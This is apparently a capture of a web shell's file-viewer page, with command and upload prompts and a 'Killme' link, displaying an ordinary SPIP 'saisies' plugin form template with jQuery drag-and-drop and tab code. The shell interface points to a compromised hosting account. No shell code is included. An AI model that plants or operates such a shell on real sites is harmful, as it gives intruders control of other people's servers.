.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/formulaires/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/formulaires/construire_formulaire.html

    [(#ENV{erreurs}|table_valeur{positionner}|oui)
    	<a name="ajax_ancre" href="[(#ENV{erreurs}|table_valeur{positionner})]"></a>
    ]
    <div class="formulaire_spip formulaire_editer formulaire_#ENV{form}[ (#ENV{formulaire_modifie}|oui) modifie]">
    	[<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>]
    	<p id="message_attention" class="message_reinitialiser reponse_formulaire reponse_formulaire_ok">#ENV*{_message_attention}</p>
    	[<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>]
    	
    	<BOUCLE_editable(CONDITION){si #ENV{editable}|oui}>
    	<form method='post' action='#ENV{action}' enctype='multipart/form-data'><div>
    		[(#REM) declarer les hidden qui declencheront le service du formulaire 
    		parametre : url d'action ]
    		#ACTION_FORMULAIRE{#ENV{action}}
    		<input style="display:none;" type="submit" class="submit" name="enregistrer" value="<:bouton_enregistrer:>" />
    
    		<ul id="deplacable">
    			
    			<li id="reinitialiser" class="actions_formulaire">
    				<button type="submit" class="submit" name="reinitialiser" value="oui" onclick="return confirm('<:saisies:construire_reinitialiser_confirmer:>')">
    					<img src="#CHEMIN{images/formulaire-reinitialiser-24.png}" alt="" />
    					<:saisies:construire_reinitialiser:>
    				</button>
    			</li>
    
    			<BOUCLE_contenu(POUR){tableau #ENV{_contenu}}>
    			[(#VAL{saisie}|array_key_exists{#VALEUR}|oui)
    				[(#VALEUR**|formidable_generer_saisie_configurable{#ENV**|unserialize})]
    			]
    			</BOUCLE_contenu>
    			<li class="aucun"><em class="attention"><:saisies:construire_aucun_champs:></em></li>
    			<//B_contenu>
    			
    			<B_saisies_disponibles>
    			<li class="editer haut saisies_disponibles" id="attrapable">
    				<label><:saisies:construire_ajouter_champ:></label>
    				<BOUCLE_saisies_disponibles(POUR){tableau #ENV{_saisies_disponibles}}{par cle}>
    				<button type="submit" name="ajouter_saisie" value="#CLE" class="submit ajouter_saisie"[ title="(#VALEUR|table_valeur{description})"] [style="background-image:url((#VALEUR|table_valeur{icone}|sinon{#CHEMIN{images/formulaire-saisie-defaut.png}}))"]>
    					<span>[(#VALEUR|table_valeur{titre})]</span>
    				</button>
    				</BOUCLE_saisies_disponibles>
    			</li>
    			</B_saisies_disponibles>
    		</ul>
    
    		
    		[(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ]
    		<!--extra-->
    		
    		<span class='image_loading'></span>
    	</div></form>
    
    	<style>
    		.message_reinitialiser,#reinitialiser {display: none}
    		.modifie .message_reinitialiser,.modifie #reinitialiser {display: block}
    	</style>
    	<script type="text/javascript">
    		jQuery(function(){
    			jQuery('.formulaire_construire_formulaire li.configurable')
    				.hover(
    					function(){
    						jQuery(this)
    							.addClass('hover')
    							.find('> .actions')
    								.show()
    							.end()
    							.parents('li.configurable:not(.en_configuration)')
    								.mouseout();
    					},
    					function(){
    						if (!jQuery(this).is('.en_configuration'))
    							jQuery(this)
    								.removeClass('hover')
    								.find('> .actions')
    									.hide()
    								.end()
    								.parents('li.configurable').eq('0')
    									.mouseover();
    					}
    				)
    				.filter(':not(.en_configuration)')
    					.find('> .actions')
    						.hide()
    					.end()
    				.end();
    			
    			// On lance la création des onglets
    			formulaire_configurer_onglets();
    			
    			// Gérer la liste des vérifications
    			jQuery('.liste_verifications')
    				.each(function(){
    					var options = jQuery(this).siblings('.options_verifier').hide();
    					var select = jQuery(this).find('select');
    					
    					select
    						.change(function(){
    							var montrer = jQuery(this).val() ? jQuery(this).val() : 'soigfeg';
    							options.hide().filter('.'+montrer).show();
    						})
    						.change();
    				});
    			
    			// On déplie toujours les fieldsets plés par défaut
    			jQuery('li.fieldset.plie')
    				.each(function(){
    					jQuery(this)
    						.removeClass('plie')
    						.find('> fieldset > ul').show();
    				});
    				
    			[(#ENV{erreurs}|non|et{#ENV{_chemin_ui}})
    				$.getScript("#CHEMIN{#ENV{_chemin_ui}jquery.ui.core.js}", function(){
    				$.getScript("#CHEMIN{#ENV{_chemin_ui}jquery.ui.widget.js}", function(){
    				$.getScript("#CHEMIN{#ENV{_chemin_ui}jquery.ui.mouse.js}", function(){
    					$.getScript("#CHEMIN{#ENV{_chemin_ui}jquery.ui.sortable.js}", function(){
    						if ($.fn.sortable) {
    							jQuery( "#deplacable, #deplacable ul" ).sortable({
    								revert: true,
    								containment: '#deplacable',
    								connectWith: "#deplacable, #deplacable ul",
    								placeholder: "ui-state-highlight",
    								handle: '>.actions .deplacer_saisie',
    								start: function(event, ui) {
    									jQuery('.ui-state-highlight')
    										.css('height', ui.item.css('height'))
    										.css('height', '+=20px');
    								},
    								update: function(event, ui) {
    									id = ui.item.data('id');
    									ou = ui.item.next().data('id');
    									// avant le suivant
    									if (!ou) {
    										// sinon dans le parent
    										ou = ui.item.closest('.fieldset').data('id');
    										if (ou) {
    											ou = '[(#VAL{91}|chr)]' + ou + '[(#VAL{93}|chr)]';
    										}
    									}
    									url = "#URL_ECRIRE";
    									$.get(url, {
    										session: '#ENV{_identifiant_session}',
    										action: 'deplacer_saisie',
    										saisie: id,
    										ou: ou
    									}, function() {
    										//jQuery('input.vide').submit();
    										jQuery('.formulaire_#ENV{form}').addClass('modifie').trigger('modifsaisies');
    									});
    								}
    							});
    						}
    					});
    							/*
    					$.getScript("#CHEMIN{#ENV{_chemin_ui}jquery.ui.draggable.js}", function(){
    						if ($.fn.draggable) {
    							jQuery( "#attrapable" ).draggable({
    								connectToSortable: "#deplacable, #deplacable ul",
    								helper: "clone"
    							});
    						}
    					});
    							*/
    				});});});
    			]
    		});
    		
    		function formulaire_configurer_onglets(){
    			var formulaire_configurer = jQuery('.formulaire_configurer');
    			var onglets = jQuery('<ul class="formulaire_configurer-onglets"></ul>');
    			var contenus = formulaire_configurer.find('> ul > li.fieldset');
    			
    			// On ajoute le conteneur des onglets
    			formulaire_configurer
    				.prepend(onglets);
    			
    			// On parcourt les contenus pour générer les onglets
    			contenus
    				.each(function(i){
    					// On ajoute un identifiant et une classe
    					jQuery(this)
    						.attr('id', 'formulaire_configurer-contenu-'+i)
    						.addClass('formulaire_configurer-contenu');
    					// On récupère le titre (en le cachant au passage)
    					var titre = jQuery(this).find('h3').eq(0).hide().text();
    					// On crée un onglet
    					var onglet = jQuery('<li><a href="#formulaire_configurer-contenu-'+i+'">'+titre+'</a></li>');
    					onglet
    						.click(function(){
    							contenus.hide();
    							jQuery(
    								jQuery(this)
    									.siblings()
    										.removeClass('actif')
    									.end()
    									.addClass('actif')
    									.find('a')
    										.attr('href')
    							).show();
    							return false;
    						});
    					
    					// On active le premier onglet au démarrage
    					if (i == 0) onglet.addClass('actif');
    					
    					// S'il y a des erreurs dans cette partie du contenu, on met une classe "erreurs" à l'onglet aussi
    					if (jQuery(this).find('li.erreur').length > 0)
    						onglet.addClass('erreur');
    					
    					// On ajoute l'onglet
    					onglets
    						.append(onglet);
    				})
    				.hide()
    				.eq(0)
    					.show();
    		}
    	</script>
    	</BOUCLE_editable>
    </div>